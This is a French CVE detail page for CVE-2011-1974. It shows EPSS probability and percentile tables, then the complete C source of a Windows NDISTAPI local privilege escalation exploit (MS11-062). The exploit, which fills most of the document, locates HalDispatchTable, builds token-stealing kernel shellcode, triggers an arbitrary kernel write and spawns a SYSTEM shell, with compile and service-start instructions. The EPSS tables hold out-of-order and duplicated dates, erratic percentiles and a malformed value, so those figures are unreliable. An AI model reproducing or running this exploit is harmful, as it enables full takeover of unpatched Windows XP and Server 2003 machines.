CVE-2011-1974 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.42%	–	–
2022-02-13	–	–	2.42%	–	–
2022-04-03	–	–	2.42%	–	–
2022-07-17	–	–	2.42%	–	–
2023-02-26	–	–	2.42%	–	–
2023-03-12	–	–	–	0.07%	–
2023-04-09	–	–	–	0.07%	–
2023-05-14	–	–	–	0.06%	–
2023-09-03	–	–	–	0.05%	–
2023-12-17	–	–	–	0.04%	–
2024-03-31	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-08-25	–	–	–	0.04%	–
2024-12-08	–	–	–	0.04%	–
2024-12-22	–	–	–	0.05%	–
2025-02-16	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-02-16	–	–	–	0.05%	–
2025-03-18	–	–	–	–	41.39%
2025-04-10	–	–	–	–	23.65%
2025-04-10	–	–	–	–	23.65,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	58%
2022-02-13	59%
2022-04-03	8%
2022-07-17	81%
2023-02-26	82%
2023-03-12	29%
2023-04-09	3%
2023-05-14	21%
2023-09-03	15%
2023-12-17	8%
2024-03-31	9%
2024-06-02	1%
2024-08-25	11%
2024-12-08	12%
2024-12-22	2%
2025-02-16	21%
2025-01-19	2%
2025-02-16	21%
2025-03-18	97%
2025-04-10	96%
2025-04-10	96%

/* ################################################################ # Exploit Title: Windows x86 (all versions) NDISTAPI privilege escalation (MS11-062) # Date: 2016-10-24 # Exploit Author: Tomislav Paskalev # Vulnerable Software: # Windows XP SP3 x86 # Windows XP Pro SP2 x64 # Windows Server 2003 SP2 x86 # Windows Server 2003 SP2 x64 # Windows Server 2003 SP2 Itanium-based Systems # Supported Vulnerable Software: # Windows XP SP3 x86 # Windows Server 2003 SP2 x86 # Tested Software: # Windows XP Pro SP3 x86 EN [5.1.2600] # Windows Server 2003 Ent SP2 EN [5.2.3790] # CVE ID: 2011-1974 ################################################################ # Vulnerability description: # An elevation of privilege vulnerability exists in the # NDISTAPI.sys component of the Remote Access Service NDISTAPI # driver. The vulnerability is caused when the NDISTAPI driver # improperly validates user-supplied input when passing data # from user mode to the Windows kernel. # An attacker must have valid logon credentials and be able to # log on locally to exploit the vulnerability. # An attacker who successfully exploited this vulnerability could # run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM # privileges). ################################################################ # Exploit notes: # Privileged shell execution: # - the SYSTEM shell will spawn within the invoking shell/process # Exploit compiling (Kali GNU/Linux Rolling 64-bit): # - # i686-w64-mingw32-gcc MS11-062.c -o MS11-062.exe -lws2_32 # Exploit prerequisites: # - low privilege access to the target OS # - target OS not patched (KB2566454) # - Remote Access Service (RAS) running # - sc query remoteaccess # - sc start remoteaccess ################################################################ # Patches: # Windows XP SP3 x86 # WindowsXP-KB2566454-x86-enu.exe # (not available - EoL) # Windows Server 2003 SP2 x86 # WindowsServer2003-KB2566454-x86-enu.exe # https://www.microsoft.com/en-us/download/details.aspx?id=27093 ################################################################ # Thanks to: # Ni Tao (writeup) # Google Translate (Chinese -> Engrish) ################################################################ # References: # https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1974 # https://technet.microsoft.com/en-us/library/security/ms11-062.aspx # http://www.cas.stc.sh.cn/jsjyup/pdf/2015/5/%E5%9F%BA%E4%BA%8E%E9%9D%99%E6%80%81%E6%B1%A1%E7%82%B9%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E7%9A%84%E8%BD%AF%E4%BB%B6%E5%86%85%E6%A0%B8%E9%A9%B1%E5%8A%A8%E5%AE%89%E5%85%A8%E6%80%A7%E6%A3%80%E6%B5%8B.pdf # https://translate.google.com/ ################################################################ */ #include <winsock2.h> #include <windows.h> #include <stdio.h> #include <ws2tcpip.h> #pragma comment (lib, "ws2_32.lib") //////////////////////////////////////////////////////////////// // DEFINE DATA TYPES //////////////////////////////////////////////////////////////// typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, *PKPROFILE_SOURCE; typedef DWORD (WINAPI *PNTQUERYINTERVAL) ( KPROFILE_SOURCE ProfileSource, PULONG Interval ); typedef LONG NTSTATUS; typedef NTSTATUS (WINAPI *PNTALLOCATE) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect ); typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); //////////////////////////////////////////////////////////////// // FUNCTIONS //////////////////////////////////////////////////////////////// BOOL IsWow64() { BOOL bIsWow64 = FALSE; LPFN_ISWOW64PROCESS fnIsWow64Process; fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process"); if(NULL != fnIsWow64Process) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf(" [-] Failed (error code: %d)\n", GetLastError()); return -1; } } return bIsWow64; } //////////////////////////////////////////////////////////////// // MAIN FUNCTION //////////////////////////////////////////////////////////////// int main(void) { printf("[*] MS11-062 (CVE-2011-1974) x86 exploit\n"); printf(" [*] by Tomislav Paskalev\n"); //////////////////////////////////////////////////////////////// // IDENTIFY TARGET OS ARCHITECTURE AND VERSION //////////////////////////////////////////////////////////////// printf("[*] Identifying OS\n"); // identify target machine's OS architecture // in case the target machine is running a 64-bit OS if(IsWow64()) { printf(" [-] 64-bit\n"); return -1; } printf(" [+] 32-bit\n"); // identify target machine's OS version // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx OSVERSIONINFOEX osvi; ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx((LPOSVERSIONINFO) &osvi); // define operating system version specific variables unsigned char shellcode_KPROCESS; unsigned char shellcode_TOKEN; unsigned char shellcode_UPID; unsigned char shellcode_APLINKS; const char **securityPatchesPtr; int securityPatchesCount; //////////////////////////////////////////////////////////////// /* OS VERSION SPECIFIC OFFSETS references: http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/ */ //////////////////////////////////////////////////////////////// // in case the OS version is 5.1, service pack 3 if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3)) { // the target machine's OS is Windows XP SP3 printf(" [+] Windows XP SP3\n"); shellcode_KPROCESS = '\x44'; shellcode_TOKEN = '\xC8'; shellcode_UPID = '\x84'; shellcode_APLINKS = '\x88'; const char *securityPatches[] = {"KB2566454"}; securityPatchesPtr = securityPatches; securityPatchesCount = 1; } // in case the OS version is 5.2, service pack 2, not R2 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0)) { // the target machine's OS is Windows Server 2003 SP2 printf(" [+] Windows Server 2003 SP2\n"); shellcode_KPROCESS = '\x38'; shellcode_TOKEN = '\xD8'; shellcode_UPID = '\x94'; shellcode_APLINKS = '\x98'; const char *securityPatches[] = {"KB2566454"}; securityPatchesPtr = securityPatches; securityPatchesCount = 1; } // in case the OS version is not any of the previously checked versions else { // the target machine's OS is an unsupported 32-bit Windows version printf(" [-] Unsupported version\n"); printf(" [*] Affected 32-bit operating systems\n"); printf(" [*] Windows XP SP3\n"); printf(" [*] Windows Server 2003 SP2\n"); return -1; } //////////////////////////////////////////////////////////////// // LOCATE REQUIRED OS COMPONENTS //////////////////////////////////////////////////////////////// printf("[*] Locating required OS components\n"); // retrieve system information // https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx // locate "ZwQuerySystemInformation" in the "ntdll.dll" module // https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx FARPROC ZwQuerySystemInformation; ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); // 11 = SystemModuleInformation // http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm ULONG systemInformation; ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation); // allocate memory for the list of loaded modules ULONG *systemInformationBuffer; systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer)); if(!systemInformationBuffer) { printf(" [-] Could not allocate memory"); return -1; } // retrieve the list of loaded modules ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL); // locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules ULONG i; PVOID targetKrnlMdlBaseAddr; HMODULE targetKrnlMdlUsrSpcOffs; BOOL foundModule = FALSE; PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr; loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1); for(i = 0; i < *systemInformationBuffer; i++) { if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe")) { printf(" [+] ntkrnlpa.exe\n"); targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1); targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; foundModule = TRUE; break; } else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe")) { printf(" [+] ntoskrnl.exe\n"); targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1); targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; foundModule = TRUE; break; } } // base address of the loaded module (kernel space) printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr); // offset address (relative to the parent process) of the loaded module (user space) printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs); if(!foundModule) { printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n"); return -1; } // free allocated buffer space free(systemInformationBuffer); // determine the address of the "HalDispatchTable" process (kernel space) // locate the offset fo the "HalDispatchTable" process within the target module (user space) ULONG_PTR HalDispatchTableUsrSpcOffs; HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable"); if(!HalDispatchTableUsrSpcOffs) { printf(" [-] Could not find HalDispatchTable\n"); return -1; } printf(" [+] HalDispatchTable\n"); printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs); // calculate the address of "HalDispatchTable" in kernel space // 1. identify the base address of the target module in kernel space // 2. previous step's result [minus] the load address of the same module in user space // 3. previous step's result [plus] the address of "HalDispatchTable" in user space // EQUIVALENT TO: // 1. determine RVA of HalDispatchTable // *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it. // 2. previous step's result [plus] base address of target module in kernel space ULONG_PTR HalDispatchTableKrnlSpcAddr; HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs; HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr; // locate "NtQueryIntervalProfile" in the "ntdll.dll" module PNTQUERYINTERVAL NtQueryIntervalProfile; NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if(!NtQueryIntervalProfile) { printf(" [-] Could not find NtQueryIntervalProfile\n"); return -1; } printf(" [+] NtQueryIntervalProfile\n"); printf(" [*] Address: %#010x\n", NtQueryIntervalProfile); //////////////////////////////////////////////////////////////// // CREATE TOKEN STEALING SHELLCODE //////////////////////////////////////////////////////////////// printf("[*] Creating token stealing shellcode\n"); // construct the token stealing shellcode unsigned char shellcode[] = { 0x52, // PUSH EDX Save EDX on the stack (save context) 0x53, // PUSH EBX Save EBX on the stack (save context) 0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0) 0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure 0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure 0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX 0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN 0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks 0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process) 0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal 0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX 0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX 0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN 0x5B, // POP EBX Pop current stack value to EBX (restore context) 0x5A, // POP EDX Pop current stack value to EDX (restore context) 0xC2,0x08 // RET 8 Return }; printf(" [*] Shellcode assembled\n"); // allocate memory (RWE permissions) for the shellcode printf(" [*] Allocating memory\n"); LPVOID shellcodeAddress; shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(shellcodeAddress == NULL) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf(" [-] Failed (error code: %d)\n", GetLastError()); return -1; } printf(" [+] Address: %#010x\n", shellcodeAddress); // copy the shellcode to the allocated memory memcpy((shellcodeAddress), shellcode, sizeof(shellcode)); printf(" [*] Shellcode copied\n"); //////////////////////////////////////////////////////////////// // EXPLOIT THE VULNERABILITY //////////////////////////////////////////////////////////////// printf("[*] Exploiting vulnerability\n"); // open the vulnerable device driver HANDLE targetDeviceHandle; ULONG dwReturnSize; int errorCode = 0; printf(" [*] Opening NDISTAPI device driver\n"); // https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx targetDeviceHandle = CreateFile("\\\\.\\NDISTAPI", GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0); // in case the function fails if(targetDeviceHandle == INVALID_HANDLE_VALUE) { // the device driver was not opened successfully // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx errorCode = GetLastError(); // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx // in case of ERROR_FILE_NOT_FOUND if(errorCode == 2) { // the vulnerable service is not running printf(" [!] Remote Access Service not started\n"); printf(" [*] run \"sc start remoteaccess\"\n"); return -1; } // in case of any other error message else { printf(" [-] Failed (error code: %d)\n", errorCode); return -1; } } // in case the function succeeds else { // the device driver was opened succesfully printf(" [+] Done\n"); } // copy the shellcode address to the input buffer unsigned char InputBuffer[8]={0}; memcpy((InputBuffer + 4), &shellcodeAddress, sizeof(shellcodeAddress)); // trigger vulnerability (cause arbitrary memory overwrite) printf(" [*] Calling vulnerable function\n"); if(DeviceIoControl( targetDeviceHandle, 0x8fff23d4, // DoLineCreateWork (PVOID) InputBuffer, sizeof(InputBuffer), (PVOID) (HalDispatchTableKrnlSpcAddr), 0, &dwReturnSize, NULL ) == 0) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx errorCode = GetLastError(); // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx // in case of ERROR_INSUFFICIENT_BUFFER if(errorCode == 122) { // target is patched printf(" [!] Target patched\n"); printf(" [*] Possible security patches\n"); for(i = 0; i < securityPatchesCount; i++) printf(" [*] %s\n", securityPatchesPtr[i]); return -1; } // in case of any other error message else { // print the error code printf(" [-] Failed (error code: %d)\n", errorCode); return -1; } } else printf(" [+] Done\n"); // elevate privileges of the current process printf(" [*] Elevating privileges to SYSTEM\n"); ULONG outInterval = 0; // https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html NtQueryIntervalProfile(2, &outInterval); printf(" [+] Done\n"); // spawn shell (with elevated privileges) printf(" [*] Spawning shell\n"); // spawn SYSTEM shell within the current shell (remote shell friendly) system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32"); // exit printf("\n[*] Exiting SYSTEM shell\n"); return 1; } // EoF